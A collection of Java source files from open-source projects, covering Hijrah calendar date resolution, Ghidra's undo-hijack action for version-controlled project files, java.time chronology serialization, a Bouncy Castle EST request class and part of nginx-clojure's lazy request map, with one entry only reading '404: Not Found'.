return date(y, 1, 1).plus(months, MONTHS).plus(weeks, WEEKS).plus(days, DAYS);
}
int moy = MONTH_OF_YEAR.checkValidIntValue(fieldValues.remove(MONTH_OF_YEAR));
int aw = ALIGNED_WEEK_OF_MONTH.checkValidIntValue(fieldValues.remove(ALIGNED_WEEK_OF_MONTH));
int dow = DAY_OF_WEEK.checkValidIntValue(fieldValues.remove(DAY_OF_WEEK));
HijrahDate date = date(y, moy, 1).plus(aw - 1, WEEKS).with(nextOrSame(DayOfWeek.of(dow)));
if (resolverStyle == ResolverStyle.STRICT && date.get(MONTH_OF_YEAR) != moy) {
throw new DateTimeException("Strict mode rejected date parsed to a different month");
}
return date;
}
}
}
if (fieldValues.containsKey(DAY_OF_YEAR)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long days = Math.subtractExact(fieldValues.remove(DAY_OF_YEAR), 1);
return dateYearDay(y, 1).plusDays(days);
}
int doy = DAY_OF_YEAR.checkValidIntValue(fieldValues.remove(DAY_OF_YEAR));
return dateYearDay(y, doy);
}
if (fieldValues.containsKey(ALIGNED_WEEK_OF_YEAR)) {
if (fieldValues.containsKey(ALIGNED_DAY_OF_WEEK_IN_YEAR)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long weeks = Math.subtractExact(fieldValues.remove(ALIGNED_WEEK_OF_YEAR), 1);
long days = Math.subtractExact(fieldValues.remove(ALIGNED_DAY_OF_WEEK_IN_YEAR), 1);
return date(y, 1, 1).plus(weeks, WEEKS).plus(days, DAYS);
}
int aw = ALIGNED_WEEK_OF_YEAR.checkValidIntValue(fieldValues.remove(ALIGNED_WEEK_OF_YEAR));
int ad = ALIGNED_DAY_OF_WEEK_IN_YEAR.checkValidIntValue(
fieldValues.remove(ALIGNED_DAY_OF_WEEK_IN_YEAR));
HijrahDate date = date(y, 1, 1).plusDays((aw - 1) * 7 + (ad - 1));
if (resolverStyle == ResolverStyle.STRICT && date.get(YEAR) != y) {
throw new DateTimeException("Strict mode rejected date parsed to a different year");
}
return date;
}
if (fieldValues.containsKey(DAY_OF_WEEK)) {
int y = YEAR.checkValidIntValue(fieldValues.remove(YEAR));
if (resolverStyle == ResolverStyle.LENIENT) {
long weeks = Math.subtractExact(fieldValues.remove(ALIGNED_WEEK_OF_YEAR), 1);
long days = Math.subtractExact(fieldValues.remove(DAY_OF_WEEK), 1);
return date(y, 1, 1).plus(weeks, WEEKS).plus(days, DAYS);
}
int aw = ALIGNED_WEEK_OF_YEAR.checkValidIntValue(fieldValues.remove(ALIGNED_WEEK_OF_YEAR));
int dow = DAY_OF_WEEK.checkValidIntValue(fieldValues.remove(DAY_OF_WEEK));
HijrahDate date = date(y, 1, 1).plus(aw - 1, WEEKS).with(nextOrSame(DayOfWeek.of(dow)));
if (resolverStyle == ResolverStyle.STRICT && date.get(YEAR) != y) {
throw new DateTimeException("Strict mode rejected date parsed to a different month");
}
return date;
}
}
}
return null;
}
}
| konsoletyper/teavm | classlib/src/main/java/org/threeten/bp/chrono/HijrahChronology.java |
1,403 | /* ###
* IP: GHIDRA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ghidra.framework.main.projectdata.actions;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import javax.swing.Icon;
import docking.action.MenuData;
import generic.theme.GIcon;
import ghidra.framework.client.ClientUtil;
import ghidra.framework.main.datatable.DomainFileContext;
import ghidra.framework.main.datatree.UndoActionDialog;
import ghidra.framework.model.DomainFile;
import ghidra.framework.model.DomainFolder;
import ghidra.framework.plugintool.Plugin;
import ghidra.util.InvalidNameException;
import ghidra.util.exception.CancelledException;
import ghidra.util.task.Task;
import ghidra.util.task.TaskMonitor;
/**
* Action to undo hijacked domain files in the project.
*/
public class VersionControlUndoHijackAction extends VersionControlAction {
private static final Icon ICON = new GIcon("icon.version.control.hijack.undo");
/**
* Creates an action to undo hijacked domain files in the project.
* @param plugin the plug-in that owns this action.
*/
public VersionControlUndoHijackAction(Plugin plugin) {
super("Undo Hijack", plugin.getName(), plugin.getTool());
setPopupMenuData(new MenuData(new String[] { "Undo Hijack" }, ICON, GROUP));
setEnabled(false);
}
@Override
public void actionPerformed(DomainFileContext context) {
undoHijackedFiles(context.getSelectedFiles());
}
@Override
public boolean isEnabledForContext(DomainFileContext context) {
if (isFileSystemBusy()) {
return false; // don't block; we should get called again later
}
List<DomainFile> domainFiles = context.getSelectedFiles();
for (DomainFile domainFile : domainFiles) {
if (domainFile.isHijacked()) {
return true; // At least one hijacked file selected.
}
}
return false;
}
/**
* Gets the domain files from the provider and then undoes the hijack on any that are hijacked.
*/
private void undoHijackedFiles(List<DomainFile> domainFiles) {
if (!checkRepositoryConnected()) {
return;
}
List<DomainFile> hijackList = new ArrayList<>();
for (DomainFile domainFile : domainFiles) {
if (domainFile != null && domainFile.isHijacked()) {
hijackList.add(domainFile);
}
}
undoHijack(hijackList);
}
/**
* Displays the undo hijack confirmation dialog for each hijacked file and then
* undoes the hijack while keeping a copy of the hijacked file if the user chooses to do so.
* @param hijackList the list of hijacked domain files.
*/
void undoHijack(List<DomainFile> hijackList) {
if (!checkRepositoryConnected()) {
return;
}
if (hijackList.size() > 0) {
UndoActionDialog dialog = new UndoActionDialog("Confirm Undo Hijack",
ICON, "Undo_Hijack", "hijack", hijackList);
int actionID = dialog.showDialog(tool);
if (actionID != UndoActionDialog.CANCEL) {
boolean saveCopy = dialog.saveCopy();
DomainFile[] files = dialog.getSelectedDomainFiles();
if (files.length > 0) {
tool.execute(new UndoHijackTask(files, saveCopy));
}
}
}
}
/**
* Determines a unique keep file name for saving a copy of the hijack file
* when its hijack is undone.
* @param parent the domain folder where the hijacked file exists.
* @param name the name of the hijacked file.
* @return the unique keep file name.
*/
private String getKeepName(DomainFolder parent, String name) {
int oneUp = 1;
String keepName = name + ".keep";
while (true) {
DomainFile df = parent.getFile(keepName);
if (df != null) {
keepName = name + ".keep" + oneUp;
++oneUp;
}
return keepName;
}
}
/**
* Task for undoing hijacks of files that are in version control.
*/
private class UndoHijackTask extends Task {
private DomainFile[] hijackFiles;
private boolean saveCopy;
/**
* Creates a task for undoing hijacks of domain files.
* @param hijackFiles the list of hijacked files
* @param saveCopy true indicates that copies of the modified files should be made
* before undo of the checkout
*/
UndoHijackTask(DomainFile[] hijackFiles, boolean saveCopy) {
super("Undo Hijack", true, true, true);
this.hijackFiles = hijackFiles;
this.saveCopy = saveCopy;
}
@Override
public void run(TaskMonitor monitor) {
try {
for (DomainFile currentDF : hijackFiles) {
monitor.checkCancelled();
monitor.setMessage("Undoing Hijack " + currentDF.getName());
if (saveCopy) {
// rename the file
try {
currentDF.setName(
getKeepName(currentDF.getParent(), currentDF.getName()));
}
catch (InvalidNameException e1) {
// TODO put error message here
}
}
else {
currentDF.delete();
}
}
}
catch (CancelledException e) {
tool.setStatusInfo("Undo hijack was canceled");
}
catch (IOException e) {
ClientUtil.handleException(repository, e, "Undo Hijack", tool.getToolFrame());
}
}
}
}
| NationalSecurityAgency/ghidra | Ghidra/Framework/Project/src/main/java/ghidra/framework/main/projectdata/actions/VersionControlUndoHijackAction.java |
1,404 | 404: Not Found | dropwizard/dropwizard | dropwizard-logging/src/main/java/io/dropwizard/logging/common/LoggingUtil.java |
1,405 | /*
* Copyright (c) 2012, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* Copyright (c) 2011-2012, Stephen Colebourne & Michael Nascimento Santos
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of JSR-310 nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package java.time.chrono;
import java.io.Externalizable;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.StreamCorruptedException;
import java.time.LocalDate;
import java.time.LocalDateTime;
/**
* The shared serialization delegate for this package.
*
* @implNote
* This class wraps the object being serialized, and takes a byte representing the type of the class to
* be serialized. This byte can also be used for versioning the serialization format. In this case another
* byte flag would be used in order to specify an alternative version of the type format.
* For example {@code CHRONO_TYPE_VERSION_2 = 21}
* <p>
* In order to serialize the object it writes its byte and then calls back to the appropriate class where
* the serialization is performed. In order to deserialize the object it read in the type byte, switching
* in order to select which class to call back into.
* <p>
* The serialization format is determined on a per class basis. In the case of field based classes each
* of the fields is written out with an appropriate size format in descending order of the field's size. For
* example in the case of {@link LocalDate} year is written before month. Composite classes, such as
* {@link LocalDateTime} are serialized as one object. Enum classes are serialized using the index of their
* element.
* <p>
* This class is mutable and should be created once per serialization.
*
* @serial include
* @since 1.8
*/
final class Ser implements Externalizable {
/**
* Serialization version.
*/
private static final long serialVersionUID = -6103370247208168577L;
static final byte CHRONO_TYPE = 1;
static final byte CHRONO_LOCAL_DATE_TIME_TYPE = 2;
static final byte CHRONO_ZONE_DATE_TIME_TYPE = 3;
static final byte JAPANESE_DATE_TYPE = 4;
static final byte JAPANESE_ERA_TYPE = 5;
static final byte HIJRAH_DATE_TYPE = 6;
static final byte MINGUO_DATE_TYPE = 7;
static final byte THAIBUDDHIST_DATE_TYPE = 8;
static final byte CHRONO_PERIOD_TYPE = 9;
/** The type being serialized. */
private byte type;
/** The object being serialized. */
private Object object;
/**
* Constructor for deserialization.
*/
public Ser() {
}
/**
* Creates an instance for serialization.
*
* @param type the type
* @param object the object
*/
Ser(byte type, Object object) {
this.type = type;
this.object = object;
}
//-----------------------------------------------------------------------
/**
* Implements the {@code Externalizable} interface to write the object.
* @serialData
* Each serializable class is mapped to a type that is the first byte
* in the stream. Refer to each class {@code writeReplace}
* serialized form for the value of the type and sequence of values for the type.
* <ul>
* <li><a href="../../../serialized-form.html#java.time.chrono.HijrahChronology">HijrahChronology.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.IsoChronology">IsoChronology.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseChronology">JapaneseChronology.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.MinguoChronology">MinguoChronology.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.ThaiBuddhistChronology">ThaiBuddhistChronology.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.ChronoLocalDateTimeImpl">ChronoLocalDateTime.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.ChronoZonedDateTimeImpl">ChronoZonedDateTime.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseDate">JapaneseDate.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseEra">JapaneseEra.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.HijrahDate">HijrahDate.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.MinguoDate">MinguoDate.writeReplace</a>
* <li><a href="../../../serialized-form.html#java.time.chrono.ThaiBuddhistDate">ThaiBuddhistDate.writeReplace</a>
* </ul>
*
* @param out the data stream to write to, not null
*/
@Override
public void writeExternal(ObjectOutput out) throws IOException {
writeInternal(type, object, out);
}
private static void writeInternal(byte type, Object object, ObjectOutput out) throws IOException {
out.writeByte(type);
switch (type) {
case CHRONO_TYPE:
((AbstractChronology) object).writeExternal(out);
break;
case CHRONO_LOCAL_DATE_TIME_TYPE:
((ChronoLocalDateTimeImpl<?>) object).writeExternal(out);
break;
case CHRONO_ZONE_DATE_TIME_TYPE:
((ChronoZonedDateTimeImpl<?>) object).writeExternal(out);
break;
case JAPANESE_DATE_TYPE:
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
((JapaneseDate) object).writeExternal(out); */
break;
case JAPANESE_ERA_TYPE:
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
((JapaneseEra) object).writeExternal(out); */
break;
case HIJRAH_DATE_TYPE:
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
((HijrahDate) object).writeExternal(out); */
break;
case MINGUO_DATE_TYPE:
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
((MinguoDate) object).writeExternal(out); */
break;
case THAIBUDDHIST_DATE_TYPE:
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
((ThaiBuddhistDate) object).writeExternal(out); */
break;
case CHRONO_PERIOD_TYPE:
((ChronoPeriodImpl) object).writeExternal(out);
break;
default:
throw new InvalidClassException("Unknown serialized type");
}
}
//-----------------------------------------------------------------------
/**
* Implements the {@code Externalizable} interface to read the object.
* @serialData
* The streamed type and parameters defined by the type's {@code writeReplace}
* method are read and passed to the corresponding static factory for the type
* to create a new instance. That instance is returned as the de-serialized
* {@code Ser} object.
*
* <ul>
* <li><a href="../../../serialized-form.html#java.time.chrono.HijrahChronology">HijrahChronology</a> - Chronology.of(id)
* <li><a href="../../../serialized-form.html#java.time.chrono.IsoChronology">IsoChronology</a> - Chronology.of(id)
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseChronology">JapaneseChronology</a> - Chronology.of(id)
* <li><a href="../../../serialized-form.html#java.time.chrono.MinguoChronology">MinguoChronology</a> - Chronology.of(id)
* <li><a href="../../../serialized-form.html#java.time.chrono.ThaiBuddhistChronology">ThaiBuddhistChronology</a> - Chronology.of(id)
* <li><a href="../../../serialized-form.html#java.time.chrono.ChronoLocalDateTimeImpl">ChronoLocalDateTime</a> - date.atTime(time)
* <li><a href="../../../serialized-form.html#java.time.chrono.ChronoZonedDateTimeImpl">ChronoZonedDateTime</a> - dateTime.atZone(offset).withZoneSameLocal(zone)
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseDate">JapaneseDate</a> - JapaneseChronology.INSTANCE.date(year, month, dayOfMonth)
* <li><a href="../../../serialized-form.html#java.time.chrono.JapaneseEra">JapaneseEra</a> - JapaneseEra.of(eraValue)
* <li><a href="../../../serialized-form.html#java.time.chrono.HijrahDate">HijrahDate</a> - HijrahChronology chrono.date(year, month, dayOfMonth)
* <li><a href="../../../serialized-form.html#java.time.chrono.MinguoDate">MinguoDate</a> - MinguoChronology.INSTANCE.date(year, month, dayOfMonth)
* <li><a href="../../../serialized-form.html#java.time.chrono.ThaiBuddhistDate">ThaiBuddhistDate</a> - ThaiBuddhistChronology.INSTANCE.date(year, month, dayOfMonth)
* </ul>
*
* @param in the data stream to read from, not null
*/
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
type = in.readByte();
object = readInternal(type, in);
}
static Object read(ObjectInput in) throws IOException, ClassNotFoundException {
byte type = in.readByte();
return readInternal(type, in);
}
private static Object readInternal(byte type, ObjectInput in) throws IOException, ClassNotFoundException {
switch (type) {
case CHRONO_TYPE: return AbstractChronology.readExternal(in);
case CHRONO_LOCAL_DATE_TIME_TYPE: return ChronoLocalDateTimeImpl.readExternal(in);
case CHRONO_ZONE_DATE_TIME_TYPE: return ChronoZonedDateTimeImpl.readExternal(in);
/* J2ObjC removed: Only "gregorian" and "julian" calendars are supported.
case JAPANESE_DATE_TYPE: return JapaneseDate.readExternal(in);
case JAPANESE_ERA_TYPE: return JapaneseEra.readExternal(in);
case HIJRAH_DATE_TYPE: return HijrahDate.readExternal(in);
case MINGUO_DATE_TYPE: return MinguoDate.readExternal(in);
case THAIBUDDHIST_DATE_TYPE: return ThaiBuddhistDate.readExternal(in); */
case JAPANESE_DATE_TYPE: return null;
case JAPANESE_ERA_TYPE: return null;
case HIJRAH_DATE_TYPE: return null;
case MINGUO_DATE_TYPE: return null;
case THAIBUDDHIST_DATE_TYPE: return null;
case CHRONO_PERIOD_TYPE: return ChronoPeriodImpl.readExternal(in);
default: throw new StreamCorruptedException("Unknown serialized type");
}
}
/**
* Returns the object that will replace this one.
*
* @return the read object, should never be null
*/
private Object readResolve() {
return object;
}
}
| google/j2objc | jre_emul/android/platform/libcore/ojluni/src/main/java/java/time/chrono/Ser.java |
1,406 | package org.bouncycastle.est;
import java.io.IOException;
import java.io.OutputStream;
import java.net.URL;
import java.util.Map;
/**
* Implements a basic http request.
*/
public class ESTRequest
{
final String method;
final URL url;
HttpUtil.Headers headers = new HttpUtil.Headers();
final byte[] data;
final ESTHijacker hijacker;
final ESTClient estClient;
final ESTSourceConnectionListener listener;
ESTRequest(
String method,
URL url,
byte[] data,
ESTHijacker hijacker,
ESTSourceConnectionListener listener,
HttpUtil.Headers headers,
ESTClient estClient)
{
this.method = method;
this.url = url;
this.data = data;
this.hijacker = hijacker;
this.listener = listener;
this.headers = headers;
this.estClient = estClient;
}
public String getMethod()
{
return method;
}
public URL getURL()
{
return url;
}
public Map<String, String[]> getHeaders()
{
return (Map<String, String[]>)headers.clone();
}
public ESTHijacker getHijacker()
{
return hijacker;
}
public ESTClient getClient()
{
return estClient;
}
public ESTSourceConnectionListener getListener()
{
return listener;
}
public void writeData(OutputStream os)
throws IOException
{
if (data != null)
{
os.write(data);
}
}
}
| bcgit/bc-java | pkix/src/main/java/org/bouncycastle/est/ESTRequest.java |
1,407 | /**
* Copyright (C) Zhang,Yuexiang (xfeep)
*
*/
package nginx.clojure.clj;
import static nginx.clojure.MiniConstants.BODY_FETCHER;
import static nginx.clojure.MiniConstants.CHARACTER_ENCODING_FETCHER;
import static nginx.clojure.MiniConstants.CONTENT_TYPE_FETCHER;
import static nginx.clojure.MiniConstants.DEFAULT_ENCODING;
import static nginx.clojure.MiniConstants.NGX_HTTP_CLOJURE_HEADERSI_HEADERS_OFFSET;
import static nginx.clojure.MiniConstants.NGX_HTTP_CLOJURE_REQ_HEADERS_IN_OFFSET;
import static nginx.clojure.MiniConstants.QUERY_STRING_FETCHER;
import static nginx.clojure.MiniConstants.REMOTE_ADDR_FETCHER;
import static nginx.clojure.MiniConstants.SCHEME_FETCHER;
import static nginx.clojure.MiniConstants.SERVER_NAME_FETCHER;
import static nginx.clojure.MiniConstants.SERVER_PORT_FETCHER;
import static nginx.clojure.MiniConstants.URI_FETCHER;
import static nginx.clojure.clj.Constants.BODY;
import static nginx.clojure.clj.Constants.CHARACTER_ENCODING;
import static nginx.clojure.clj.Constants.CONTENT_TYPE;
import static nginx.clojure.clj.Constants.HEADERS;
import static nginx.clojure.clj.Constants.HEADER_FETCHER;
import static nginx.clojure.clj.Constants.QUERY_STRING;
import static nginx.clojure.clj.Constants.REMOTE_ADDR;
import static nginx.clojure.clj.Constants.REQUEST_METHOD;
import static nginx.clojure.clj.Constants.REQUEST_METHOD_FETCHER;
import static nginx.clojure.clj.Constants.SCHEME;
import static nginx.clojure.clj.Constants.SERVER_NAME;
import static nginx.clojure.clj.Constants.SERVER_PORT;
import static nginx.clojure.clj.Constants.URI;
import static nginx.clojure.clj.Constants.WEBSOCKET;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.FutureTask;
import clojure.lang.AFn;
import clojure.lang.ASeq;
import clojure.lang.Counted;
import clojure.lang.IMapEntry;
import clojure.lang.IPersistentCollection;
import clojure.lang.IPersistentMap;
import clojure.lang.IPersistentVector;
import clojure.lang.ISeq;
import clojure.lang.MapEntry;
import clojure.lang.Obj;
import clojure.lang.RT;
import clojure.lang.Util;
import nginx.clojure.ChannelListener;
import nginx.clojure.Coroutine;
import nginx.clojure.MiniConstants;
import nginx.clojure.NginxClojureRT;
import nginx.clojure.NginxHandler;
import nginx.clojure.NginxHttpServerChannel;
import nginx.clojure.NginxRequest;
import nginx.clojure.RequestVarFetcher;
import nginx.clojure.Stack;
import nginx.clojure.UnknownHeaderHolder;
import nginx.clojure.java.DefinedPrefetch;
import nginx.clojure.java.JavaLazyHeaderMap;
import nginx.clojure.java.NginxJavaRequest;
import nginx.clojure.java.RequestRawMessageAdapter;
import nginx.clojure.java.RequestRawMessageAdapter.RequestOrderedRunnable;
import nginx.clojure.net.NginxClojureAsynSocket;
public class LazyRequestMap extends AFn implements NginxRequest, IPersistentMap {
protected final static Object[] default_request_array = new Object[] {
URI, URI_FETCHER,
BODY, BODY_FETCHER,
HEADERS, HEADER_FETCHER,
SERVER_PORT,SERVER_PORT_FETCHER,
SERVER_NAME, SERVER_NAME_FETCHER,
REMOTE_ADDR, REMOTE_ADDR_FETCHER,
QUERY_STRING, QUERY_STRING_FETCHER,
SCHEME, SCHEME_FETCHER,
REQUEST_METHOD, REQUEST_METHOD_FETCHER,
CONTENT_TYPE, CONTENT_TYPE_FETCHER,
CHARACTER_ENCODING, CHARACTER_ENCODING_FETCHER,
WEBSOCKET, new RequestVarFetcher() {
public Object fetch(long r, Charset encoding) {
return "websocket".equals(new UnknownHeaderHolder("Upgrade", NGX_HTTP_CLOJURE_HEADERSI_HEADERS_OFFSET).fetch(r+NGX_HTTP_CLOJURE_REQ_HEADERS_IN_OFFSET));
}
}
};
public static void fixDefaultRequestArray() {
if (default_request_array[1] == null) {
int i = 0;
default_request_array[(i++ << 1) + 1] = URI_FETCHER;
default_request_array[(i++ << 1) + 1] = BODY_FETCHER;
default_request_array[(i++ << 1) + 1] = HEADER_FETCHER;
default_request_array[(i++ << 1) + 1] = SERVER_PORT_FETCHER;
default_request_array[(i++ << 1) + 1] = SERVER_NAME_FETCHER;
default_request_array[(i++ << 1) + 1] = REMOTE_ADDR_FETCHER;
default_request_array[(i++ << 1) + 1] = QUERY_STRING_FETCHER;
default_request_array[(i++ << 1) + 1] = SCHEME_FETCHER;
default_request_array[(i++ << 1) + 1] = REQUEST_METHOD_FETCHER;
default_request_array[(i++ << 1) + 1] = CONTENT_TYPE_FETCHER;
default_request_array[(i++ << 1) + 1] = CHARACTER_ENCODING_FETCHER;
}
}
protected int validLen;
protected long r;
protected Object[] array;
protected NginxHandler handler;
protected NginxHttpServerChannel channel;
protected byte[] hijackTag;
protected int phase = -1;
protected int evalCount = 0;
protected int nativeCount = -1;
protected volatile boolean released = false;
protected List<java.util.AbstractMap.SimpleEntry<Object, ChannelListener<Object>>> listeners;
protected LazyRequestMap rawRequestMap; // it is make by nginx-clojure inner handler not from assoc()
protected Map<String, String> prefetchedVariables;
protected Set<String> updatedVariables;
public final static LazyRequestMap EMPTY_MAP = new LazyRequestMap(null, 0, null, new Object[0]);
private final static ChannelListener<NginxRequest> requestListener = NginxJavaRequest.requestListener;
public LazyRequestMap(NginxHandler handler, long r, byte[] hijackTag, Object[] array) {
this.handler = handler;
this.r = r;
this.array = array;
this.hijackTag = hijackTag;
this.listeners = new ArrayList<>();
this.rawRequestMap = this;
if (r != 0) {
NginxClojureRT.addListener(r, requestListener, this.rawRequestMap, 1);
}
validLen = array.length;
}
public LazyRequestMap(NginxHandler handler, long r) {
//TODO: SSL_CLIENT_CERT
this(handler, r, new byte[]{0}, default_request_array.clone());
if (NginxClojureRT.log.isDebugEnabled()) {
valAt(URI);
}
}
private LazyRequestMap(LazyRequestMap or, Object[] a) {
this.handler = or.handler;
this.r = or.r;
this.listeners = or.listeners;
this.array = a;
this.hijackTag = or.hijackTag;
this.rawRequestMap = or.rawRequestMap;
this.channel = or.channel;
this.evalCount = or.evalCount;
this.prefetchedVariables = or.prefetchedVariables;
this.updatedVariables = or.updatedVariables;
this.nativeCount = or.nativeCount;
validLen = a.length;
}
public void reset(long r, NginxClojureHandler handler) {
this.r = r;
this.released = false;
this.evalCount = 0;
this.hijackTag[0] = 0;
phase = -1;
this.handler = handler;
this.rawRequestMap = this;
//move to tag released
// if (this.prefetchedVariables != null) {
// this.prefetchedVariables.clear();
// }
if (r != 0) {
NginxClojureRT.addListener(r, requestListener, this.rawRequestMap, 1);
nativeCount = -1;
}
}
public void prefetchAll() {
prefetchAll(DefinedPrefetch.ALL_HEADERS, DefinedPrefetch.NO_VARS, DefinedPrefetch.NO_HEADERS);
}
/* (non-Javadoc)
* @see nginx.clojure.NginxRequest#prefetchAll(java.lang.String[], java.lang.String[])
*/
@Override
public void prefetchAll(String[] headers, String[] variables, String[] outHeaders) {
for (int i = 0; i < validLen; i += 2) {
Object v = element(i);
if (v instanceof LazyHeaderMap) {
LazyHeaderMap lazyHeaderMap = (LazyHeaderMap)v;
lazyHeaderMap.enableSafeCache(headers);
}
}
if (variables == DefinedPrefetch.CORE_VARS) {
variables = MiniConstants.CORE_VARS.keySet().toArray(new String[MiniConstants.CORE_VARS.size()]);
}
prefetchedVariables = new HashMap<>(variables.length);
for (String variable : variables) {
prefetchedVariables.put(variable, getVariable(variable));
}
updatedVariables = new LinkedHashSet<>();
}
protected int index(Object key) {
for (int i = 0; i < validLen; i+=2){
if (key == array[i]) {
return i;
}
}
return -1;
}
@SuppressWarnings("rawtypes")
@Override
public Iterator iterator() {
return new Iterator<MapEntry>() {
int i = 0;
@Override
public boolean hasNext() {
return i < validLen - 2;
}
@Override
public MapEntry next() {
return new MapEntry(array[i++], array[i++]);
}
@Override
public void remove() {
throw Util.runtimeException("remove not supported");
}
};
}
@Override
public IMapEntry entryAt(Object key) {
Object v = valAt(key);
if (v == null) {
return null;
}
return new MapEntry(key, v);
}
@Override
public int count() {
return validLen >> 1;
}
@SuppressWarnings("rawtypes")
@Override
public IPersistentCollection cons(Object o) {
if (o instanceof Map.Entry) {
Map.Entry e = (Map.Entry) o;
return assoc(e.getKey(), e.getValue());
} else if (o instanceof IPersistentVector) {
IPersistentVector v = (IPersistentVector) o;
if (v.count() != 2)
throw new IllegalArgumentException(
"Vector arg to map conj must be a pair");
return assoc(v.nth(0), v.nth(1));
}
IPersistentMap ret = this;
for (ISeq es = RT.seq(o); es != null; es = es.next()) {
Map.Entry e = (Map.Entry) es.first();
ret = ret.assoc(e.getKey(), e.getValue());
}
return ret;
}
@Override
public IPersistentCollection empty() {
return EMPTY_MAP;
}
@Override
public boolean equiv(Object o) {
return o == this;
}
@SuppressWarnings("serial")
static class ArrayMapSeq extends ASeq implements Counted{
final int i;
final LazyRequestMap reqMap;
ArrayMapSeq(LazyRequestMap reqMap, int i){
this.reqMap = reqMap;
this.i = i;
}
public ArrayMapSeq(IPersistentMap meta, LazyRequestMap reqMap, int i){
super(meta);
this.reqMap = reqMap;
this.i = i;
}
public Object first(){
return new MapEntry(reqMap.array[i],reqMap.element(i));
}
public ISeq next(){
if(i + 2 < reqMap.validLen)
return new ArrayMapSeq(reqMap, i + 2);
return null;
}
public int count(){
return (reqMap.validLen - i) >> 1;
}
public Obj withMeta(IPersistentMap meta){
return new ArrayMapSeq(meta, reqMap, i);
}
}
@Override
public ISeq seq() {
return new ArrayMapSeq(this, 0);
}
protected Object element(int i) {
Object o = array[i+1];
if (o instanceof RequestVarFetcher) {
if (released) {
return null;
}
if (Thread.currentThread() != NginxClojureRT.NGINX_MAIN_THREAD) {
throw new IllegalAccessError("fetching lazy value of " + array[i-1] + " in LazyRequestMap can only be called in main thread, please pre-access it in main thread OR call LazyRequestMap.prefetchAll() first in main thread");
}
RequestVarFetcher rf = (RequestVarFetcher) o;
array[i+1] = null;
Object rt = rf.fetch(r, DEFAULT_ENCODING);
array[i+1] = rt;
// System.out.println("LazyRequestMap, key=" + rt);
return rt;
}
// System.out.println("LazyRequestMap, key=" + array[i] + ", val=" + o);
